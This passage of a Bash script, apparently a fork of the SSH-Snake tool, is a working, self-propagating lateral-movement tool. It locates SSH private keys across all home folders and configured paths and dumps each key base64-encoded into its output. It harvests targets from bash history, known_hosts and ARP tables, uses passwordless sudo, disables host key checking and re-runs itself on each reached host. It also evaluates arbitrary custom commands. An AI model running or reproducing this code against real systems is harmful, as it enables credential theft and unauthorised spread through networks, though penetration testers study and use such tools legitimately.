forked from extern/SSH-Snake
1262 lines
45 KiB
Bash
Executable File
1262 lines
45 KiB
Bash
Executable File
export THIS_SCRIPT=$(cat <<"MAIN_SCRIPT"
|
|
ignore_user=0
|
|
use_sudo=1
|
|
ssh_timeout=3
|
|
retry_count=3
|
|
ignored_users=()
|
|
ignored_hosts=()
|
|
ignored_dests=()
|
|
ignored_key_files=("*badcert.pem*" "*badkey.pem*")
|
|
custom_cmds=()
|
|
scan_paths=()
|
|
scan_paths_depth=3
|
|
use_find_from_hosts=1
|
|
use_find_arp_neighbours=1
|
|
use_find_d_block=0
|
|
use_find_from_authorized_keys=1
|
|
use_find_from_last=1
|
|
use_find_from_prev_dest=1
|
|
use_find_from_known_hosts=1
|
|
use_find_from_hashed_known_hosts=0
|
|
use_find_from_ignore_list=0
|
|
use_retry_all_dests=1
|
|
use_find_from_bash_history=1
|
|
use_find_from_ssh_config=1
|
|
interesting_users=("$USER" "root")
|
|
interesting_hosts=("127.0.0.1")
|
|
interesting_dests=()
|
|
use_combinate_interesting_users_hosts=1
|
|
use_combinate_users_hosts_aggressive=0
|
|
export LC_ALL="C"
|
|
export PATH="$PATH:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/bin"
|
|
declare -A priv_keys
|
|
declare -A key_files
|
|
declare -A home_folders
|
|
declare -A ssh_files
|
|
declare -A priv_keys_files
|
|
declare -A root_ssh_keys
|
|
declare -A root_ssh_hostnames_dests
|
|
declare -A root_ssh_hosts_dests
|
|
declare -A ssh_users
|
|
declare -A ssh_hosts
|
|
declare -A ssh_dests
|
|
declare -A _ignored_users
|
|
declare -A _ignored_hosts
|
|
declare -A _ignored_dests
|
|
declare -A _ignored_key_files
|
|
declare -A files
|
|
declare -A not_files
|
|
declare -A folders
|
|
declare -A not_folders
|
|
declare -A current_ips
|
|
declare -A ignore_list_array
|
|
_ignored_hosts["openssh.com"]=1
|
|
ignore_separator="|"
|
|
ssh_options=(-oIdentitiesOnly=yes -oServerAliveInterval=300 -oTCPKeepAlive=no -oConnectTimeout="$ssh_timeout" -oStrictHostKeyChecking=no -oGlobalKnownHostsFile=/dev/null -oUserKnownHostsFile=/dev/null -oBatchMode=yes)
|
|
ssh_extra_options=(-oHostkeyAlgorithms=+ssh-rsa -oKexAlgorithms=+diffie-hellman-group1-sha1)
|
|
user="$USER"
|
|
script="$1"
|
|
hosts_chain="$(printf "%s" "$2" | base64 -d)"
|
|
hostnames_chain="$(printf "%s" "$5" | base64 -d)"
|
|
ignore_list="$3"
|
|
this_dest="$4"
|
|
this_host="${this_dest#*@}"
|
|
current_hostnames_ip=""
|
|
sshkeygen=("ssh-keygen" "-E" "md5" "-l" "-f")
|
|
indent=""
|
|
s=""
|
|
allowed_host_chars='[a-zA-Z0-9_.-]'
|
|
allowed_users_chars='[a-z_][a-z0-9_-]{0,31}'
|
|
print_snake() {
|
|
cat << "EOF"
|
|
__ __ __ __
|
|
/ \ / \ / \ / \
|
|
____________________/ __\/ __\/ __\/ __\_______________________________,
|
|
___________________/ /__/ /__/ /__/ /__________________________________|
|
|
| / \ / \ / \ / \ \____ |
|
|
|/ \_/ \_/ \_/ \ o \ |
|
|
\_____/--< |
|
|
---_ ......._-_--. |
|
|
(|\ / / /| \ \ ? |
|
|
/ / .' -=-' `. . |
|
|
/ / .' ) ' |
|
|
_/ / .' _.) / _ -- ~~~ -- _ _______ |
|
|
/ o o _.-' / .' .-~ ~-.{__-----. : |
|
|
\ _.-' / .'*| / \ | | |
|
|
\______.-'// .'.' \*| : O O : | | |
|
|
\| \ | // .'.' _ |*| /\ /------' j |
|
|
` \|// .'.'_ _ _|*| { {/~-. .-~\~~~~~~~~~ |
|
|
. .// .'.' | _ _ \*| \/ / |~:- .___. -.~\ \ \ |
|
|
\`-|\_/ / \ _ _ \*\ / /\ \ | | { { \ \ } } \ \ |
|
|
`/'\__/ \ _ _ \*\ { { \ \ | \ \ \ \ / } } |
|
|
/^| \ _ _ \* \ \ /\ \ \ \ /\ \ { { |
|
|
' ` \ _ _ \ } } { { \ \ \ \/ / \ \ \ \ |
|
|
\_ / / } } \ \ }{ { \ \ } } |
|
|
___________________________ / / { { \ \{\ \ } { { |
|
|
( Written for the mediocre. ) / / } } } }\\ \ / / \ \ |
|
|
( By the mediocre. ) `-' { { `-'\ \`-'/ / `-' |
|
|
---------------------------- `-' `-' `-' |
|
|
^__^ o |
|
|
_______\)xx( o <https://github.com/MegaManSec/SSH-Snake> |
|
|
\/\) \)__( By Joshua Rogers <https://joshua.hu/> |
|
|
| w----|| U |
|
|
|| || GPL 3, of course. |
|
|
________________________~_____/^,___,-^\_________________~~_______________/`
|
|
EOF
|
|
}
|
|
print_settings() {
|
|
local setting_keys
|
|
local setting_values
|
|
local max_key_length
|
|
local max_value_length
|
|
local i
|
|
setting_keys=("ignore_user" "use_sudo" "ssh_timeout" "retry_count" "scan_paths" "scan_paths_depth" "interesting_users" "interesting_hosts" "interesting_dests" "ignored_users" "ignored_hosts" "ignored_dests" "ignored_key_files" "custom_cmds" "use_combinate_interesting_users_hosts" "use_combinate_users_hosts_aggressive" "use_find_from_hosts" "use_find_from_last" "use_find_from_authorized_keys" "use_find_from_known_hosts" "use_find_from_ssh_config" "use_find_from_bash_history" "use_find_arp_neighbours" "use_find_d_block" "use_find_from_hashed_known_hosts" "use_find_from_prev_dest" "use_find_from_ignore_list" "use_retry_all_dests")
|
|
setting_values=("$ignore_user" "$use_sudo" "$ssh_timeout" "$retry_count" "${scan_paths[*]}" "$scan_paths_depth" "${interesting_users[*]}" "${interesting_hosts[*]}" "${interesting_dests[*]}" "${ignored_users[*]}" "${ignored_hosts[*]}" "${ignored_dests[*]}" "${ignored_key_files[*]}" "${custom_cmds[*]}" "$use_combinate_interesting_users_hosts" "$use_combinate_users_hosts_aggressive" "$use_find_from_hosts" "$use_find_from_last" "$use_find_from_authorized_keys" "$use_find_from_known_hosts" "$use_find_from_ssh_config" "$use_find_from_bash_history" "$use_find_arp_neighbours" "$use_find_d_block" "$use_find_from_hashed_known_hosts" "$use_find_from_prev_dest" "$use_find_from_ignore_list" "$use_retry_all_dests")
|
|
max_key_length=0
|
|
max_value_length=0
|
|
for ((i=0; i<${#setting_keys[@]}; i++)); do
|
|
key_length="${#setting_keys[$i]}"
|
|
value_length="${#setting_values[$i]}"
|
|
((key_length > max_key_length)) && max_key_length=$key_length
|
|
((value_length > max_value_length)) && max_value_length=$value_length
|
|
done
|
|
printf "|%-*s|%-*s|\n" "$((max_key_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_key_length + 4))"))" "$((max_value_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_value_length + 4))"))"
|
|
printf "| %-*s | %-*s |\n" "$((max_key_length + 2))" "Setting" "$((max_value_length + 2))" "Value"
|
|
printf "|%-*s|%-*s|\n" "$((max_key_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_key_length + 4))"))" "$((max_value_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_value_length + 4))"))"
|
|
for ((i=0; i<${#setting_keys[@]}; i++)); do
|
|
printf "| %-*s | %-*s |\n" "$((max_key_length + 2))" "${setting_keys[$i]}" "$((max_value_length + 2))" "${setting_values[$i]}"
|
|
done
|
|
printf "|%-*s|%-*s|\n\n\n" "$((max_key_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_key_length + 4))"))" "$((max_value_length + 2))" "$(printf -- '-%.0s' $(seq "$((max_value_length + 4))"))"
|
|
}
|
|
remove_functions() {
|
|
local this_script
|
|
local function_names
|
|
this_script="$1"
|
|
function_names="$2"
|
|
printf "%s" "$this_script" | awk -v fnames="$function_names" '
|
|
function is_func_line() {
|
|
for (i in funcs) {
|
|
if ($0 ~ "^" funcs[i] "\\(\\)") {
|
|
return 1
|
|
}
|
|
}
|
|
return 0
|
|
}
|
|
function is_func_call() {
|
|
for (i in funcs) {
|
|
if ($0 ~ "^[[:space:]]*" funcs[i]) {
|
|
return 1
|
|
}
|
|
}
|
|
return 0
|
|
}
|
|
BEGIN {
|
|
split(fnames, funcs, " ");
|
|
in_func = 0
|
|
}
|
|
is_func_line() { in_func = 1; next }
|
|
/^\}/ { if (in_func) { in_func = 0; next } }
|
|
is_func_call() { next }
|
|
!in_func { print }
|
|
'
|
|
}
|
|
gen_retried_interesting_dests() {
|
|
local ssh_dest
|
|
for ssh_dest in "${!root_ssh_hostnames_dests[@]}"; do
|
|
printf "%s" "$ssh_dest" | awk -F'[@():]' -v OFS='@' '
|
|
{
|
|
user = $1
|
|
for (i = 2; i <= NF; i++) {
|
|
if ($i != "" && user != "") {
|
|
print "\\x22" user "@" $i "\\x22"
|
|
}
|
|
}
|
|
}'
|
|
done
|
|
for ssh_dest in "${!root_ssh_hosts_dests[@]}"; do
|
|
printf "\\\x22%s\\\x22\n" "$ssh_dest"
|
|
done
|
|
}
|
|
shape_script() {
|
|
local line
|
|
local local_script
|
|
local opt_function_list
|
|
local opt_function
|
|
local ssh_dest
|
|
if ! command -v sed >/dev/null 2>&1; then
|
|
printf "Could not begin because 'sed' is not available!\n"
|
|
exit 1
|
|
fi
|
|
opt_function_list=("use_combinate_interesting_users_hosts" "use_combinate_users_hosts_aggressive" "use_find_from_hosts" "use_find_from_last" "use_find_from_authorized_keys" "use_find_from_known_hosts" "use_find_from_ssh_config" "use_find_from_bash_history" "use_find_arp_neighbours" "use_find_d_block" "use_find_from_hashed_known_hosts" "use_find_from_prev_dest" "use_find_from_ignore_list" "use_retry_all_dests")
|
|
for opt_function in "${opt_function_list[@]}"; do
|
|
if [[ ${!opt_function} -eq 0 ]]; then
|
|
remove_function+="${opt_function#use_} "
|
|
fi
|
|
[[ "$opt_function" =~ use_find_from_ignore_list|use_retry_all_dests ]] && continue
|
|
remove_function+="$opt_function "
|
|
done
|
|
if [[ ${#custom_cmds[@]} -eq 0 ]]; then
|
|
remove_function+="exec_custom_cmds "
|
|
remove_function+="custom_cmds "
|
|
fi
|
|
if [[ ${#scan_paths[@]} -eq 0 || $scan_paths_depth -lt 1 ]]; then
|
|
remove_function+="find_ssh_keys_paths "
|
|
remove_function+="scan_paths "
|
|
remove_function+="scan_paths_depth "
|
|
fi
|
|
if [[ ${#ignored_users[@]} -eq 0 && ${#ignored_hosts[@]} -eq 0 && ${#ignored_dests[@]} -eq 0 ]]; then
|
|
remove_function+="init_ignored "
|
|
remove_function+="ignored_users ignored_hosts ignored_dests "
|
|
fi
|
|
if [[ $use_combinate_users_hosts_aggressive -eq 0 ]] && [[ ${#interesting_users[@]} -eq 0 || $use_combinate_interesting_users_hosts -eq 0 ]]; then
|
|
remove_function+="find_from_hosts find_arp_neighbours find_d_block "
|
|
fi
|
|
if [[ $use_find_from_authorized_keys -eq 0 && $use_find_from_known_hosts -eq 0 && $use_find_from_hashed_known_hosts -eq 0 ]]; then
|
|
remove_function+="find_user_from_file "
|
|
fi
|
|
if [[ $use_combinate_users_hosts_aggressive -eq 1 ]]; then
|
|
remove_function+="use_combinate_interesting_users_hosts combinate_interesting_users_hosts "
|
|
fi
|
|
if [[ $use_combinate_interesting_users_hosts -eq 0 && $use_combinate_users_hosts_aggressive -eq 0 ]]; then
|
|
remove_function+="interesting_hosts interesting_users "
|
|
if [[ $use_retry_all_dests -eq 0 ]]; then
|
|
remove_function+="interesting_dests "
|
|
fi
|
|
fi
|
|
if [[ ${#interesting_users[@]} -eq 0 && ${#interesting_hosts[@]} -eq 0 && ${#interesting_dests[@]} -eq 0 ]]; then
|
|
if [[ $use_retry_all_dests -eq 0 ]]; then
|
|
remove_function+="interesting_dests "
|
|
fi
|
|
remove_function+="combinate_interesting_users_hosts use_combinate_interesting_users_hosts "
|
|
remove_function+="interesting_users interesting_hosts "
|
|
fi
|
|
if [[ $use_find_from_ignore_list -eq 0 ]]; then
|
|
remove_function+="use_find_from_ignore_list "
|
|
fi
|
|
if [[ $use_retry_all_dests -eq 0 ]]; then
|
|
remove_function+="use_retry_all_dests "
|
|
fi
|
|
if [[ $use_sudo -eq 0 ]]; then
|
|
remove_function+="check_sudo use_sudo s= "
|
|
fi
|
|
if [[ ${#ignored_key_files[@]} -eq 0 ]]; then
|
|
remove_function+="ignored_key_files "
|
|
fi
|
|
remove_function+="shape_script "
|
|
remove_function+="fin_root "
|
|
remove_function+="print_settings "
|
|
remove_function+="remove_functions "
|
|
remove_function+="print_snake "
|
|
remove_function+="gen_retried_interesting_dests "
|
|
remove_function+="root_ssh_keys root_ssh_hostnames_dests root_ssh_hosts_dests"
|
|
local_script="$(remove_functions "$THIS_SCRIPT" "$remove_function")"
|
|
local_script="$(printf "%s" "$local_script" | sed -e 's/^[ \t]*//' -e 's/^#.*$//' -e 's/[[:space:]]#.*//' -e '/^[[:space:]]*$/d')"
|
|
while IFS= read -r line; do
|
|
if [[ "$line" == *"EXTERNAL_MSG: KEY"* ]]; then
|
|
root_ssh_keys["${line##* }"]=1
|
|
elif [[ "$line" =~ ($allowed_users_chars@\([0-9\.:]*\))$ ]]; then
|
|
root_ssh_hostnames_dests["${BASH_REMATCH[1]}"]=1
|
|
elif [[ "$line" =~ ($allowed_users_chars@[0-9\.]*)$ ]]; then
|
|
root_ssh_hosts_dests["${BASH_REMATCH[1]}"]=1
|
|
fi
|
|
printf "[%s]" "$(date +%s)"
|
|
printf "%s\n" "$line"
|
|
done < <(echo 'printf "%s" "$1" | base64 -d | stdbuf -o0 bash --noprofile --norc -s $1' | stdbuf -o0 bash --noprofile --norc -s "$(printf "%s" "$local_script" | base64 | tr -d '\n')" 2>&1 | grep -v -F 'INTERNAL_MSG')
|
|
[[ $use_retry_all_dests -eq 1 ]] || return
|
|
printf "\n\n---------------------------------------\n\n"
|
|
printf "use_retry_all_dests=1. Re-starting.\n"
|
|
local retried_interesting_dests
|
|
retried_interesting_dests="$(gen_retried_interesting_dests | sort -u)"
|
|
printf "%s destinations (from %s unique servers) added to interesting_dests.\n" "$(echo "$retried_interesting_dests" | wc -l)" "${#root_ssh_hostnames_dests[@]}"
|
|
retried_interesting_dests="$(echo "$retried_interesting_dests" | tr '\n' ' ')"
|
|
printf "\n---------------------------------------\n\n\n"
|
|
local_script="$(printf "%s" "$local_script" | sed '/^interesting_dests=(/c\interesting_dests=('"$retried_interesting_dests"')')"
|
|
local_script="$(printf "%s" "$local_script" | sed 's/^use_retry_all_dests=1/use_retry_all_dests=2/')"
|
|
remove_function="find_from_authorized_keys find_from_hosts find_from_last find_arp_neighbours find_d_block find_from_ignore_list find_from_known_hosts find_from_hashed_known_hosts find_from_prev_dest combinate_users_hosts_aggressive combinate_interesting_users_hosts interesting_users interesting_hosts deduplicate_resolved_hosts_keys init_ignored ignored_users ignored_hosts ignored_dests find_user_from_file "
|
|
local_script="$(remove_functions "$local_script" "$remove_function")"
|
|
while IFS= read -r line; do
|
|
if [[ "$line" == *"EXTERNAL_MSG: KEY"* ]]; then
|
|
root_ssh_keys["${line##* }"]=1
|
|
elif [[ "$line" =~ ($allowed_users_chars@\([0-9\.:]*\))$ ]]; then
|
|
root_ssh_hostnames_dests["${BASH_REMATCH[1]}"]=1
|
|
elif [[ "$line" =~ ($allowed_users_chars@[0-9\.]*)$ ]]; then
|
|
root_ssh_hosts_dests["${BASH_REMATCH[1]}"]=1
|
|
fi
|
|
printf "[%s]" "$(date +%s)"
|
|
printf "%s\n" "$line"
|
|
done < <(echo 'printf "%s" "$1" | base64 -d | stdbuf -o0 bash --noprofile --norc -s $1' | stdbuf -o0 bash --noprofile --norc -s "$(printf "%s" "$local_script" | base64 | tr -d '\n')" 2>&1 | grep -v -F 'INTERNAL_MSG')
|
|
}
|
|
fin_root() {
|
|
local root_ssh_dest
|
|
declare -A root_ssh_hosts
|
|
for root_ssh_dest in "${!root_ssh_hostnames_dests[@]}"; do
|
|
root_ssh_hosts["${root_ssh_dest#*@}"]=1
|
|
done
|
|
printf "\n\n\n"
|
|
cat <<"EOF"
|
|
______
|
|
_.-"" ""-._
|
|
.-' `-.
|
|
.' __.----.__ `.
|
|
/ .-" "-. \
|
|
/ .' `. \
|
|
J / \ L
|
|
F J L J
|
|
J F J L
|
|
| J L |
|
|
| | | |
|
|
| J F |
|
|
J L J F
|
|
L J .-""""-. F J
|
|
J \ / \ __ / F
|
|
\ (|)(|)_ .-'".' .' /
|
|
\ \ /_>-' .<_.-' /
|
|
`. `-' .' .'
|
|
`--.|___.-'`._ _.-'
|
|
^ """"
|
|
|
|
.. ..
|
|
( '`< ( '`< ...Summary Report:
|
|
)( )(
|
|
( ----' '. ( ----' '.
|
|
( ; ( ;
|
|
(_______,' (_______,'
|
|
~^~^~^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^~~^~^~^~^~^
|
|
EOF
|
|
printf "Unique private keys discovered: %s\n" "${#root_ssh_keys[@]}"
|
|
printf "Unique shell accounts accessed: %s\n" "${#root_ssh_hostnames_dests[@]}"
|
|
printf "Unique systems accessed: %s\n" "${#root_ssh_hosts[@]}"
|
|
printf "\nNeed a list of servers accessed? Run one of these commands:\n\n"
|
|
cat <<"EOF"
|
|
grep -oE "[a-z_][a-z0-9_-]{0,31}@[0-9\.]*$" output.log | sort -u
|
|
grep -oE "[a-z_][a-z0-9_-]{0,31}@\([0-9\.:]*\)$" output.log | sort -u
|
|
EOF
|
|
printf -- "-- https://joshua.hu/ --\n"
|
|
printf -- "-- https://github.com/MegaManSec/SSH-Snake --\n"
|
|
printf "\nThanks for playing!\n"
|
|
}
|
|
check_startup() {
|
|
local required_commands
|
|
local required_command
|
|
required_commands=("ssh-keygen" "readlink" "getconf" "ssh" "basename" "base64" "getent" "awk" "sort" "grep" "tr" "find" "cat" "stdbuf")
|
|
if [[ "${BASH_VERSINFO:-0}" -lt 4 ]]; then
|
|
printf "INTERNAL_MSG: command not found: BASH%d: %s\n" "${BASH_VERSINFO[0]}" "${BASH_VERSINFO[*]}"
|
|
exit 1
|
|
fi
|
|
for required_command in "${required_commands[@]}"; do
|
|
if ! command -v "$required_command" >/dev/null 2>&1; then
|
|
printf "INTERNAL_MSG: command not found: %s\n" "$required_command"
|
|
exit 1
|
|
fi
|
|
done
|
|
if [[ -z "$script" ]]; then
|
|
print_snake
|
|
print_settings
|
|
shape_script
|
|
fin_root
|
|
exit 0
|
|
fi
|
|
if ! printf "%s" "$script" | base64 -d >/dev/null 2>&1; then
|
|
printf "Usage: stdbuf -o0 bash %s >output.log\n" "$0"
|
|
exit 1
|
|
fi
|
|
}
|
|
fin() {
|
|
printf "INTERNAL_MSG: ignore list: %s%s@%s%s\n" "$ignore_separator" "$user" "$current_hostnames_ip" "$ignore_separator"
|
|
exit 0
|
|
}
|
|
check_sudo() {
|
|
[[ $use_sudo -eq 1 ]] && command -v sudo >/dev/null 2>&1 && sudo -n true >/dev/null 2>&1 && s="sudo"
|
|
}
|
|
check_sshkeygen() {
|
|
[[ "$(ssh-keygen -E 2>&1)" == *"unknown option"* ]] && sshkeygen=("ssh-keygen" "-l" "-f")
|
|
}
|
|
check_ssh_options() {
|
|
[[ $(ssh -oHostkeyAlgorithms=+ssh-rsa 2>&1) =~ Bad\ protocol\ 2\ host\ key\ algorithms|Bad\ SSH2\ KexAlgorithms ]] || ssh_options+=("${ssh_extra_options[@]}")
|
|
}
|
|
init_current_ips() {
|
|
local current_ip
|
|
local default_route
|
|
local default_ip
|
|
if command -v hostname >/dev/null 2>&1; then
|
|
while IFS= read -r current_ip; do
|
|
current_ips["$current_ip"]=1
|
|
done < <(${s} hostname -I 2>/dev/null | tr ' ' '\n' | grep -F '.')
|
|
current_hostnames_ip="$(IFS=:; echo "${!current_ips[*]}")"
|
|
fi
|
|
if command -v ip >/dev/null 2>&1; then
|
|
default_route="$(${s} ip route show default | awk '/default via/{print $3; exit}')"
|
|
default_route="${default_route:-"1.1.1.1"}"
|
|
default_ip="$(${s} ip route get "$default_route" | awk -F'src' '{print $NF; exit}' | awk '{print $1}')"
|
|
fi
|
|
default_ip="${default_ip:-"???"}"
|
|
this_host="${this_host:-"$default_ip"}"
|
|
[[ ${#current_ips[@]} -eq 0 ]] && current_ips["$this_host"]=1 && current_hostnames_ip="$this_host"
|
|
}
|
|
init_chains() {
|
|
hosts_chain="$hosts_chain${hosts_chain:+->}$user@$this_host"
|
|
hostnames_chain="$hostnames_chain${hostnames_chain:+->}$user@($current_hostnames_ip)"
|
|
}
|
|
init_indent() {
|
|
local recursive_indent_length
|
|
local temp_chain
|
|
local pattern
|
|
pattern=']->'
|
|
temp_chain="$hosts_chain"
|
|
recursive_indent_length=0
|
|
while [[ "$temp_chain" == *"$pattern"* ]]; do
|
|
((recursive_indent_length++))
|
|
temp_chain="${temp_chain#*"$pattern"}"
|
|
done
|
|
indent="$(printf "%*s" $recursive_indent_length "")"
|
|
}
|
|
chained_print() {
|
|
printf "%s%s%s\n" "$indent" "$hosts_chain" "$1"
|
|
}
|
|
init_ignored() {
|
|
local ignored_user
|
|
local ignored_host
|
|
local ignored_dest
|
|
local current_ip
|
|
for ignored_user in "${ignored_users[@]}"; do
|
|
is_ssh_user "$ignored_user" && _ignored_users["$ignored_user"]=1
|
|
[[ "$ignored_user" == "$user" ]] && fin
|
|
done
|
|
for ignored_host in "${ignored_hosts[@]}"; do
|
|
is_ssh_host "$ignored_host" && _ignored_hosts["$ignored_host"]=1
|
|
[[ -v 'current_ips["$ignored_host"]' || ${#current_ips["$ignored_host"]} -gt 0 ]] && fin
|
|
done
|
|
for ignored_dest in "${ignored_dests[@]}"; do
|
|
is_ssh_dest "$ignored_dest" && _ignored_dests["$ignored_dest"]=1
|
|
for current_ip in "${!current_ips[@]}"; do
|
|
[[ "$ignored_dest" == "$user@$current_ip" ]] && fin
|
|
done
|
|
done
|
|
}
|
|
load_ignore_list_array() {
|
|
local line
|
|
while IFS= read -r line; do
|
|
ignore_list_array["$line"]=1
|
|
done < <(echo "$ignore_list" | tr '|' '\n' | awk -F'[@:]' -v OFS='@' '
|
|
{
|
|
user = $1
|
|
for (i = 2; i <= NF; i++) {
|
|
if ($i != "" && user != "") {
|
|
print user "@" $i
|
|
}
|
|
}
|
|
}'
|
|
)
|
|
}
|
|
check_for_recursion() {
|
|
[[ $ignore_user -eq 1 ]] && [[ "$ignore_list" == *"@$current_hostnames_ip$ignore_separator"* ]] && fin
|
|
[[ "$ignore_list" == *"$ignore_separator$user@$current_hostnames_ip$ignore_separator"* ]] && fin
|
|
ignore_list+="$ignore_separator$user@$current_hostnames_ip$ignore_separator"
|
|
load_ignore_list_array
|
|
}
|
|
setup() {
|
|
check_startup
|
|
check_sudo
|
|
check_sshkeygen
|
|
check_ssh_options
|
|
init_current_ips
|
|
init_chains
|
|
init_indent
|
|
chained_print ""
|
|
printf "%s%s\n" "$indent" "$hostnames_chain"
|
|
init_ignored
|
|
check_for_recursion
|
|
}
|
|
retry_all_dests() {
|
|
local current_ip
|
|
local ssh_dest
|
|
[[ $use_retry_all_dests -eq 2 ]] || return
|
|
for current_ip in "${!current_ips[@]}"; do
|
|
if [[ " ${interesting_dests[*]} " != *" $user@$current_ip "* ]]; then
|
|
return
|
|
fi
|
|
done
|
|
add_ssh_dest() { :; }
|
|
add_ssh_host() { :; }
|
|
add_ssh_user() { :; }
|
|
for ssh_dest in "${interesting_dests[@]}"; do
|
|
is_ssh_dest "$ssh_dest" && ssh_dests["$ssh_dest"]=1
|
|
done
|
|
}
|
|
exec_custom_cmds() {
|
|
local cmd
|
|
for cmd in "${custom_cmds[@]}"; do
|
|
local output
|
|
output="$(eval "$cmd" 2>&1| base64 | tr -d '\n')"
|
|
chained_print ": EXTERNAL_MSG: CMD[$cmd]: $output"
|
|
done
|
|
}
|
|
find_home_folders() {
|
|
local home_folder
|
|
while IFS= read -r home_folder; do
|
|
[[ -v 'home_folders["$home_folder"]' || ${#home_folders["$home_folder"]} -gt 0 ]] && continue
|
|
home_folder="$(readlink -m -- "$home_folder")"
|
|
is_dir "$home_folder" && home_folders["$home_folder"]=1
|
|
done < <(${s} find "/home/" -mindepth 1 -maxdepth 1 -type d 2>/dev/null)
|
|
while IFS=: read -r _ _ _ _ _ home_folder _; do
|
|
[[ -v 'home_folders["$home_folder"]' || ${#home_folders["$home_folder"]} -gt 0 ]] && continue
|
|
home_folder="$(readlink -m -- "$home_folder")"
|
|
is_dir "$home_folder" && home_folders["$home_folder"]=1
|
|
done < <(getent passwd)
|
|
}
|
|
init_ssh_files() {
|
|
local home_folder
|
|
for home_folder in "${!home_folders[@]}"; do
|
|
local ssh_folder
|
|
local ssh_file
|
|
ssh_folder="$home_folder/.ssh"
|
|
is_dir "$ssh_folder" || continue
|
|
while IFS= read -r ssh_file; do
|
|
is_file "$ssh_file" || continue
|
|
ssh_files["$ssh_file"]=1
|
|
done < <(${s} find "$ssh_folder" -type f -readable 2>/dev/null)
|
|
done
|
|
}
|
|
check_file_for_privkey() {
|
|
local known_key_headers
|
|
local key_file
|
|
local key_header
|
|
local file_header
|
|
key_file="$1"
|
|
known_key_headers=(
|
|
"SSH PRIVATE KEY FILE FORMAT 1.1"
|
|
"-----BEGIN RSA PRIVATE KEY-----"
|
|
"-----BEGIN DSA PRIVATE KEY-----"
|
|
"-----BEGIN EC PRIVATE KEY-----"
|
|
"-----BEGIN OPENSSH PRIVATE KEY-----"
|
|
"-----BEGIN PRIVATE KEY-----"
|
|
"-----BEGIN ENCRYPTED PRIVATE KEY-----"
|
|
"---- BEGIN SSH2 ENCRYPTED PRIVATE KEY ----"
|
|
)
|
|
is_file "$key_file" || return 1
|
|
read -r -n 50 file_header < <(${s} cat -- "$key_file")
|
|
for key_header in "${known_key_headers[@]}"; do
|
|
if [[ "$file_header" == *"$key_header"* ]]; then
|
|
return 0
|
|
fi
|
|
done
|
|
return 1
|
|
}
|
|
populate_keys() {
|
|
local ssh_pubkey
|
|
local ssh_pubkey_ret
|
|
local key_file
|
|
key_file="$1"
|
|
ssh_pubkey="$(${s} ssh-keygen -P NOT_VALID4SURE -yf "$key_file" 2>&1)"
|
|
ssh_pubkey_ret=$?
|
|
if [[ "$ssh_pubkey" == *"invalid format"* || "$ssh_pubkey" == *"No such file or directory"* ]]; then
|
|
return 1
|
|
fi
|
|
if [[ $ssh_pubkey_ret -eq 0 ]]; then
|
|
chained_print ": Discovered usable private key in [$key_file]"
|
|
priv_keys["$ssh_pubkey"]="$key_file"
|
|
else
|
|
chained_print ": Discovered unusable private key in [$key_file]"
|
|
fi
|
|
chained_print ": EXTERNAL_MSG: KEY[$key_file]: $(${s} cat -- "$key_file" | base64 | tr -d '\n')"
|
|
return 0
|
|
}
|
|
check_and_populate_keys() {
|
|
local unresolved_key_file
|
|
local key_file
|
|
local ignored_key_file
|
|
unresolved_key_file="$1"
|
|
[[ -v 'priv_keys_files["$unresolved_key_file"]' || ${#priv_keys_files["$unresolved_key_file"]} -gt 0 ]] && return 0
|
|
[[ -v 'key_files["$unresolved_key_file"]' || ${#key_files["$unresolved_key_file"]} -gt 0 ]] && return 1
|
|
key_file="$(${s} readlink -m -- "$unresolved_key_file")"
|
|
[[ -v 'priv_keys_files["$key_file"]' || ${#priv_keys_files["$key_file"]} -gt 0 ]] && priv_keys_files["$unresolved_key_file"]=1 && return 0
|
|
[[ -v 'key_files["$key_file"]' || ${#key_files["$key_file"]} -gt 0 ]] && key_files["$unresolved_key_file"]=1 && return 1
|
|
key_files["$unresolved_key_file"]=1
|
|
key_files["$key_file"]=1
|
|
for ignored_key_file in "${ignored_key_files[@]}"; do
|
|
[[ "$key_file" == $ignored_key_file ]] && return 1
|
|
done
|
|
if check_file_for_privkey "$key_file"; then
|
|
populate_keys "$key_file" && priv_keys_files["$key_file"]=1 && priv_keys_files["$unresolved_key_file"]=1 && return 0
|
|
fi
|
|
return 1
|
|
}
|
|
find_ssh_keys() {
|
|
local ssh_file
|
|
for ssh_file in "${!ssh_files[@]}"; do
|
|
check_and_populate_keys "$ssh_file"
|
|
done
|
|
}
|
|
find_ssh_keys_paths() {
|
|
local ssh_file
|
|
while IFS= read -r ssh_file; do
|
|
check_and_populate_keys "$ssh_file"
|
|
done < <(${s} find ${scan_paths[@]} -maxdepth "$scan_paths_depth" -type f -size +200c -size -14000c -readable -exec grep -l -m 1 -E '^----[-| ]BEGIN .{0,15}PRIVATE KEY' {} + 2>/dev/null)
|
|
}
|
|
check_potential_key_files() {
|
|
local key_file
|
|
local home_folder
|
|
local potential_key_file
|
|
key_file="$1"
|
|
home_folder="$2"
|
|
for potential_key_file in "$key_file" "$home_folder/${key_file:1}" "$home_folder/$key_file"; do
|
|
check_and_populate_keys "$potential_key_file" && return 0
|
|
done
|
|
return 1
|
|
}
|
|
find_from_bash_history() {
|
|
local home_folder
|
|
for home_folder in "${!home_folders[@]}"; do
|
|
local home_file
|
|
local bash_history_line
|
|
local home_user
|
|
home_file="$home_folder/.bash_history"
|
|
is_file "$home_file" || continue
|
|
home_user="$(basename -- "$home_folder")"
|
|
while IFS= read -r bash_history_line; do
|
|
local ssh_dest
|
|
local tokens
|
|
local i
|
|
local cached_ssh_user
|
|
local cached_ssh_host
|
|
local cached_ssh_key
|
|
cached_ssh_user=""
|
|
cached_ssh_host=""
|
|
cached_ssh_key=""
|
|
if ssh_dest="$(echo "$bash_history_line" | grep -m 1 -oE "$allowed_users_chars"'@[^ :]+')"; then
|
|
local ssh_host
|
|
local ssh_user
|
|
ssh_host="${ssh_dest#*@}"
|
|
ssh_user="${ssh_dest%%@*}"
|
|
add_ssh_dest "$ssh_dest" && cached_ssh_user="$ssh_user" && cached_ssh_host="$ssh_host"
|
|
elif [[ "$bash_history_line" == "scp "* ]]; then
|
|
local ssh_host
|
|
ssh_host="$(echo "$bash_history_line" | grep -m 1 -o -E '[^ ]+:')"
|
|
ssh_host="${ssh_host%:}"
|
